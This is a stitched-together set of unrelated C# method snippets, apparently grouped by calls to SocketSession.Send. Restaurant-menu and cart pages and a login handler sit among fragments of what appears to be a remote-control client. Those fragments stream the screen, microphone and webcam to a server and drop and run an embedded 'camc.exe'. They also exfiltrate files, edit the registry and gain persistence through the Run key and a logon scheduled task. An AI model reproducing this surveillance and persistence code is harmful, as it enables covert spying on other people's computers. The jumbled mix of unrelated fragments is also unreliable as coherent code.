private void CopyFile(SocketSession session, string sourceFile, string destFile, bool isDeleteSourceFile) { ResponseBase resp = null; if (isDeleteSourceFile) { resp = new ResponseMoveFile() { SourceFile = sourceFile, DestinationFile = destFile }; } else { resp = new ResponseCopyFile() { SourceFile = sourceFile, DestinationFile = destFile }; } try { string dir = System.IO.Path.GetDirectoryName(destFile); string fileName = System.IO.Path.GetFileNameWithoutExtension(destFile); string ext = System.IO.Path.GetExtension(destFile); string newDestFile = destFile; for (int i = 0; ; i++) { if (System.IO.File.Exists(newDestFile)) { newDestFile = dir + "\\" + fileName + " - 副本" + (i == 0 ? "" : " (" + i + ")") + ext; } else { break; } } System.IO.File.Copy(sourceFile, newDestFile); if (isDeleteSourceFile) { System.IO.File.Delete(sourceFile); } } catch (Exception ex) { resp.Result = false; resp.Message = (isDeleteSourceFile ? "移动" : "复制") + "失败," + ex.Message; resp.Detail = ex.StackTrace; } if (isDeleteSourceFile) { session.Send(ePacketType.PACKET_MOVE_FILE_OR_DIR_RESPONSE, resp); } else { session.Send(ePacketType.PACKET_COPY_FILE_OR_DIR_RESPONSE, resp); } }
public void OnGet() { SocketSession ss = new SocketSession(); ss.Send("GETMENUITEMS"); string r = ss.Receive(); string[] rs = r.Split(new char[] { '|' }); menuItems = new MenuItem[rs.Length]; int j = 0; foreach (string ms in rs) { MenuItem m = JsonConvert.DeserializeObject <MenuItem>(ms); menuItems[j++] = m; } if (Request.Cookies.ContainsKey("cart")) { cartLogo = "/lib/img/cart.png"; } else { cartLogo = "/lib/img/cart_gray.png"; } }
private void StartDownload(SocketSession session) { FileStream fs = new FileStream(_request.Path, FileMode.Open, FileAccess.Read); byte[] buffer = new byte[2048]; while (true) { if (!_isRunning) { break; } int size = fs.Read(buffer, 0, buffer.Length); if (size < 1) { break; } ResponseStartDownload resp = new ResponseStartDownload(); resp.Data = new byte[size]; for (int i = 0; i < size; i++) { resp.Data[i] = buffer[i]; } session.Send(ePacketType.PACKET_START_DOWNLOAD_RESPONSE, resp); } fs.Close(); _request = null; _isRunning = false; }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { if (reqType == ePacketType.PACKET_START_DOWNLOAD_REQUEST) { // 开始 RequestStartDownload req = reqObj as RequestStartDownload; if (_request == null) { _request = req; _isRunning = true; // 返回文件基本信息 ResponseStartDownloadHeader headerResp = new ResponseStartDownloadHeader(); using (var fs = System.IO.File.OpenRead(req.Path)) { headerResp.FileSize = fs.Length; headerResp.Path = req.Path; headerResp.SavePath = req.SavePath; } session.Send(ePacketType.PACKET_START_DOWNLOAD_HEADER_RESPONSE, headerResp); // 开始返回文件内容 RunTaskThread(StartDownload, session); } else { // 每次只能下载一个文件 return; } } else if (reqType == ePacketType.PACKET_STOP_DOWNLOAD_REQUEST) { // 停止 _isRunning = false; } }
public IActionResult OnPost() { List <int> items = new List <int>(); StringValues sv; Request.Form.TryGetValue("item", out sv); foreach (string str in sv.ToArray()) { items.Add(Int32.Parse(str)); } Order o = new Order(); o.comment = ""; o.idTable = 1; o.id = -1; o.receipt = ""; o.status = "PENDING"; o.items = items.ToArray(); string os = JsonConvert.SerializeObject(o); SocketSession ss = new SocketSession(); ss.Send("SUBMITORDER|" + os); string r = ss.Receive(); Console.WriteLine(r); Console.WriteLine(os); Response.Cookies.Delete("orderid"); Response.Cookies.Append("orderid", r); Response.Cookies.Delete("cart"); return(RedirectToPage("/Receipt")); }
private void StartCaptureScreen(SocketSession session) { int sleepValue = 1000; int fpsValue = 1; while (true) { if (!_isRunning) { return; } fpsValue = _request.fps; sleepValue = 1000 / fpsValue; for (int i = 0; i < fpsValue; i++) { ResponseStartGetScreen resp = new ResponseStartGetScreen(); try { resp.SetImage(ScreenUtil.CaptureScreen2(), ImageFormat.Jpeg); } catch (Exception ex) { resp.Result = false; resp.Message = ex.Message; resp.Detail = ex.StackTrace; } session.Send(ePacketType.PACKET_START_CAPTURE_SCREEN_RESPONSE, resp); Thread.Sleep(sleepValue); } } }
private void Create(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestCreateFileOrDir; var resp = new ResponseCreateFileOrDir(); try { resp.Path = req.Path; resp.PathType = req.PathType; if (req.PathType == ePathType.File) { if (!System.IO.File.Exists(req.Path)) { System.IO.File.Create(req.Path).Close(); } } else { if (!System.IO.Directory.Exists(req.Path)) { System.IO.Directory.CreateDirectory(req.Path); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_CREATE_FILE_OR_DIR_RESPONSE, resp); }
void m_pWaveIn_BufferFull(byte[] buffer) { ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio(); resp.AudioData = G711.Encode_aLaw(buffer, 0, buffer.Length); _session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp); }
static void StartGetProcesses(SocketSession session, RequestGetProcesses req) { ResponseGetProcesses resp = new ResponseGetProcesses(); try { List <ProcessProperty> processes = null; if (req.IsSimpleMode) { processes = ProcessUtil.GetProcessProperyListBySimple(); } else { processes = ProcessUtil.GetProcessProperyList(); } resp.Processes = processes.OrderBy(s => s.ProcessName).ToList(); } catch (Exception ex) { resp.Result = false; resp.Message = ex.Message; } session.Send(ePacketType.PACKET_GET_PROCESSES_RESPONSE, resp); }
private void toolStripButton2_Click(object sender, EventArgs e) { ToolStripButton button = sender as ToolStripButton; button.Checked = !button.Checked; if (button.Checked) { this.toolStripSplitButton2.Enabled = false; RequestStartCaptureVideo req = new RequestStartCaptureVideo(); req.Fps = _fps; oSession.Send(ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST, req); } else { this.toolStripSplitButton2.Enabled = true; oSession.Send(ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST, null); } }
static void StartRecvData(SocketSession session, Dictionary <ePacketType, IRequestHandler> handlers) { var paras = ReadParameters(); // 获取主机名,并告诉服务器 ResponseGetHostName resp = new ResponseGetHostName(); resp.HostName = Dns.GetHostName(); resp.AppPath = Application.ExecutablePath; resp.OnlineAvatar = paras.OnlineAvatar; session.Send(ePacketType.PACKET_GET_HOST_NAME_RESPONSE, resp); new Thread(() => { byte[] buffer = new byte[1024]; int recvSize = -1; List <byte> data = new List <byte>(); while (true) { try { recvSize = session.SocketObj.Receive(buffer); if (recvSize < 0) { continue; } for (int i = 0; i < recvSize; i++) { data.Add(buffer[i]); } while (data.Count >= 4) { int packetLength = BitConverter.ToInt32(data.ToArray(), 0); if (data.Count >= packetLength) { DoRecvBytes(session, data.SplitBytes(0, packetLength), handlers); data.RemoveRange(0, packetLength); } else { break; } } } catch (Exception ex) { Console.WriteLine(ex.Message); break; } } }) { IsBackground = true }.Start(); }
static void OnFireQuit(object sender, EventArgs e) { isClosing = true; if (heartbeatThread != null) { heartbeatThread.Join(); } if (oServerSession != null) { oServerSession.Send(ePacketType.PACKET_CLIENT_CLOSE_RESPONSE, null); } Environment.Exit(0); }
public void OnGet() { if (Request.Cookies.ContainsKey("cart")) { cartLogo = "/lib/img/cart.png"; } else { cartLogo = "/lib/img/cart_gray.png"; } SocketSession ss = new SocketSession(); ss.Send("GETMENUITEMS"); string r = ss.Receive(); string[] rs = r.Split(new char[] { '|' }); MenuItem[] allItems = new MenuItem[rs.Length]; int j = 0; foreach (string str in rs) { allItems[j++] = JsonConvert.DeserializeObject <MenuItem>(str); } string c; bool b = Request.Cookies.TryGetValue("cart", out c); if (!b) { cartItems = new MenuItem[0]; return; } string[] cs = c.Split(new char[] { ',' }); cartItems = new MenuItem[cs.Length]; j = 0; totalSum = 0; foreach (string str in cs) { int i = Int32.Parse(str); foreach (MenuItem mi in allItems) { if (mi.id == i) { cartItems[j++] = mi; totalSum += mi.price; } } } }
private void DoResponse(SocketSession session, string content) { var resp = new ResponseCommand(); try { resp.CommandResponse = content; } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_COMMAND_RESPONSE, resp); }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestAutoRun req = reqObj as RequestAutoRun; ResponseAutoRun resp = new ResponseAutoRun(); try { if (req.AutoRunMode == eAutoRunMode.ByRegistry) { RequestOpeRegistryValueName reqOpeRegistry = new RequestOpeRegistryValueName(); reqOpeRegistry.KeyRoot = eRegistryHive.CurrentUser; reqOpeRegistry.KeyPath = @"Software\Microsoft\Windows\CurrentVersion\Run"; reqOpeRegistry.ValueName = "rc"; if (req.OperationMode == OpeType.New) { reqOpeRegistry.Operation = OpeType.New; reqOpeRegistry.Value = CommonUtil.GetEntryExecutablePath(); } else if (req.OperationMode == OpeType.Delete) { reqOpeRegistry.Operation = OpeType.Delete; } else { return; } RequestOpeRegistryValueNameHandler.OpeRegistry(reqOpeRegistry); } else if (req.AutoRunMode == eAutoRunMode.BySchedualTask) { SchTaskUtil.DeleteSchedule("rc"); if (req.OperationMode == OpeType.New) { SchTaskUtil.CreateScheduleOnLogon("rc", CommonUtil.GetEntryExecutablePath()); } } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_AUTORUN_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { _session = session; if (reqType == ePacketType.PACKET_STOP_CAPTURE_AUDIO_REQUEST) { //StopTest(); //return; if (_waveIn != null) { _waveIn.Dispose(); _waveIn = null; } } else if (reqType == ePacketType.PACKET_START_CAPTURE_AUDIO_REQUEST) { RequestStartCaptureAudio req = reqObj as RequestStartCaptureAudio; ResponseStartCaptureAudio resp = new ResponseStartCaptureAudio(); try { if (_waveIn != null) { return; } //StartTest(); //return; if (WaveIn.Devices.Length > 0) { _waveIn = new WaveIn(WaveIn.Devices[0], 8000, 16, 1, 400); _waveIn.BufferFull += new BufferFullHandler(m_pWaveIn_BufferFull); _waveIn.Start(); } else { throw new Exception("未找到可用的音频设备"); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); session.Send(ePacketType.PACKET_START_CAPTURE_AUDIO_RESPONSE, resp); } } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { var resp = new ResponseGetDrives(); try { resp.drives = Environment.GetLogicalDrives().ToList(); } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_GET_DRIVES_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { var req = reqObj as RequestGetSubFilesOrDirs; var resp = new ResponseGetSubFilesOrDirs(); try { resp.dirs = new List <Protocals.DirectoryProperty>(); var dirs = System.IO.Directory.GetDirectories(req.parentDir).ToList(); foreach (var item in dirs) { DirectoryInfo di = new DirectoryInfo(item); resp.dirs.Add(new DirectoryProperty() { DirPath = item, CreationTime = di.CreationTime, LastWriteTime = di.LastWriteTime, LastAccessTime = di.LastAccessTime }); } resp.files = new List <FileProperty>(); var files = System.IO.Directory.GetFiles(req.parentDir).ToList(); foreach (var item in files) { FileInfo fi = new FileInfo(item); resp.files.Add(new FileProperty() { FilePath = item, Size = fi.Length, CreationTime = fi.CreationTime, LastWriteTime = fi.LastWriteTime, LastAccessTime = fi.LastAccessTime }); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_GET_SUBFILES_OR_DIRS_RESPONSE, resp); }
public Tuple <Exception> Excute(SocketSession session, RequestInfo requestInfo) { try { Console.WriteLine($"Login Excute RequestInfo Body: {requestInfo.Body}"); session.MemberId = requestInfo.Body.JsonStringDeserialize <LoginModel>().MemberId; Console.WriteLine($"MemberId:{session.MemberId} Logined"); var dataRequest = KeyType.LoginSuccess.GetRequestData(new LoginSuccessModel()); session.Send(dataRequest, 0, dataRequest.Length); return(Tuple.Create <Exception>(null)); } catch (Exception ex) { return(Tuple.Create <Exception>(ex)); } }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestOpeRegistryValueName req = reqObj as RequestOpeRegistryValueName; ResponseOpeRegistryValueName resp = new ResponseOpeRegistryValueName(); try { OpeRegistry(req); } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_OPE_REGISTRY_VALUE_NAME_RESPONSE, resp); }
public void Handle(SocketSession session, ePacketType reqType, object reqObj) { RequestViewRegistryKey req = reqObj as RequestViewRegistryKey; ResponseViewRegistryKey resp = new ResponseViewRegistryKey(); resp.KeyRoot = req.KeyRoot; resp.KeyPath = req.KeyPath; try { RegistryKey rootKey = RegistryKey.OpenBaseKey( (RegistryHive)req.KeyRoot, Environment.Is64BitOperatingSystem ? RegistryView.Registry64 : RegistryView.Registry32); RegistryKey subKey = rootKey; if (!string.IsNullOrWhiteSpace(req.KeyPath)) { subKey = rootKey.OpenSubKey(req.KeyPath); } resp.KeyNames = subKey.GetSubKeyNames(); resp.ValueNames = subKey.GetValueNames(); int valueNamesLength = resp.ValueNames.Length; resp.ValueKinds = new eRegistryValueKind[valueNamesLength]; resp.Values = new object[valueNamesLength]; for (int i = 0; i < valueNamesLength; i++) { string valueName = resp.ValueNames[i]; resp.ValueKinds[i] = (eRegistryValueKind)subKey.GetValueKind(valueName); resp.Values[i] = subKey.GetValue(valueName); } } catch (Exception ex) { resp.Result = false; resp.Message = ex.ToString(); resp.Detail = ex.StackTrace.ToString(); } session.Send(ePacketType.PACKET_VIEW_REGISTRY_KEY_RESPONSE, resp); }
/// <summary> /// 回发消息 /// </summary> /// <param name="message"></param> public void Response(XResponseMessage message = null) { //if (SocketSession == null) return; //Monitor.Enter(SocketSession); //try //{ // SocketSession?.Send((message ?? ResponseWrapper).ToString()); //} //catch (Exception e) //{ // // 异常处理代码 // LogHelper.Debug(e.ToString()); //} //finally //{ // Monitor.Exit(SocketSession); // 解除锁定 //} try { if (SocketSession == null || SocketSession.Disposed) { return; } lock (SocketSession) { SocketSession?.Send((message ?? ResponseWrapper).ToString()); } } catch (Exception ex) { //throw; } //finally //{ // Monitor.Exit(SocketSession); //} }
void FrmCaptureScreen_FormClosed(object sender, FormClosedEventArgs e) { oSession.Send(ePacketType.PACKET_STOP_CAPTURE_SCREEN_REQUEST, null); }
private void StartCapture(SocketSession session) { // 关闭上次打开的程序 Console.WriteLine("当前lastVideoCaptureExeFile:" + _lastVideoCaptureExeFile); if (_lastVideoCaptureExeFile == null) { if (System.IO.File.Exists(_lastVideoCapturePathStoreFile)) { _lastVideoCaptureExeFile = System.IO.File.ReadAllText(_lastVideoCapturePathStoreFile); Console.WriteLine("读取到store文件:" + _lastVideoCaptureExeFile); } } if (_lastVideoCaptureExeFile != null) { string processName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); ProcessUtil.KillProcess(processName.ToLower()); } // 释放并打开视频程序 byte[] data = ResUtil.GetResFileData(RES_FILE_NAME); string fileName = ResUtil.WriteToRandomFile(data, "camc.exe"); _lastVideoCaptureExeFile = fileName; System.IO.File.WriteAllText(_lastVideoCapturePathStoreFile, fileName); ProcessUtil.RunByCmdStart(fileName + " camcapture /fps:" + _request.Fps, true); // 查找视频程序的端口 string pName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); DoOutput("已启动视频监控程序:" + pName); int port = -1; int tryTimes = 0; while (tryTimes < 60) { port = FindServerPortByProcessName(pName); DoOutput("视频端口:" + port); if (port != -1) { break; } Thread.Sleep(1000); tryTimes++; } if (port == -1) { _isRunning = false; return; } CaptureVideoClient.MessagerReceived += (o, args) => { try { var p = o as List <byte>; var resp = new ResponseStartCaptureVideo(); resp.CollectTime = new DateTime(BitConverter.ToInt64(p.ToArray(), 0)); p.RemoveRange(0, 8); resp.ImageData = p.ToArray(); if (resp.ImageData != null) { DoOutput("接收到视频数据" + resp.ImageData.Length); } session.Send(ePacketType.PACKET_START_CAPTURE_VIDEO_RESPONSE, resp); } catch (Exception ex) { Console.WriteLine("CaptureVideoClient.MessagerReceived," + ex.Message); } }; try { CaptureVideoClient.Connect("127.0.0.1", port); DoOutput("已经连接上视频服务"); } catch (Exception ex) { Console.WriteLine(ex.Message); } // 检测是否已经关闭监控视频,并退出服务,结束视频服务程序 while (true) { if (!_isRunning) { DoOutput("已关闭视频监控数据传输连接!"); CaptureVideoClient.Close(); if (_lastVideoCaptureExeFile != null) { string processName = System.IO.Path.GetFileNameWithoutExtension(_lastVideoCaptureExeFile); ProcessUtil.KillProcess(processName.ToLower()); } break; } Thread.Sleep(1000); } _isRunning = false; }